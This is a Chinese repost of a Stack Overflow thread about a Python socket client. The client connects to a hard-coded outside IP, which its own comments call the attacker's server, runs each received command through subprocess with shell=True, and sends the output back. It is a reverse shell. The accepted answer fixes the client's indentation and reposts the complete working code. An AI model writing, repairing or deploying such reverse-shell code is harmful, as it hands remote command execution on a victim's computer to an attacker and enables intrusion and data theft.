gpt4 book ai didi

Python-子进程

转载 作者:行者123 更新时间:2023-12-01 05:48:02 25 4
gpt4 key购买 nike

我创建了一个 python 程序来让服务器获取客户端 cmd。但其中也存在一些问题。我的服务器工作,它正在监听,但我不知道 shell 是否工作,因为我的客户端出现故障。

#! /bin/usr/python
import socket, subprocess

HOST = '81.82.40.78'
PORT = 443

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# connect to server (attacker)
s.connect((HOST, PORT))

# Send we are connected
s.send('Connect established')

# start loop
while 1:
# Receive shell command
data = s.recv(1024)
# Convert to string in case of it being an integer
# if it's quit, then break out and close socket
if data == "quit": break
# Do shell command
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# Read output
stdout_value = proc.stdout.read() + proc.stderr.read()
# Send output to server
s.send(stdout_value)
# Close socket
s.close()

给我的错误是:

proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

名称有问题 - 我该如何解决这个问题?

最佳答案

您需要修复 if 语句之后的缩进(您仅限于一行)。我将 break 移至下一行,并正确缩进,说明:

while 1:
# Receive shell command
data = s.recv(1024)
# Convert to string in case of it being an integer
# if it's quit, then break out and close socket
if data == "quit":
break
# Do shell command
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# Read output
stdout_value = proc.stdout.read() + proc.stderr.read()
# Send output to server
s.send(stdout_value)
# Close socket
s.close()

请注意,您从 if 行开始缩进了太多的所有内容,包括所属的 s.close() 语句while循环之外

关于Python-子进程,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/15443138/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com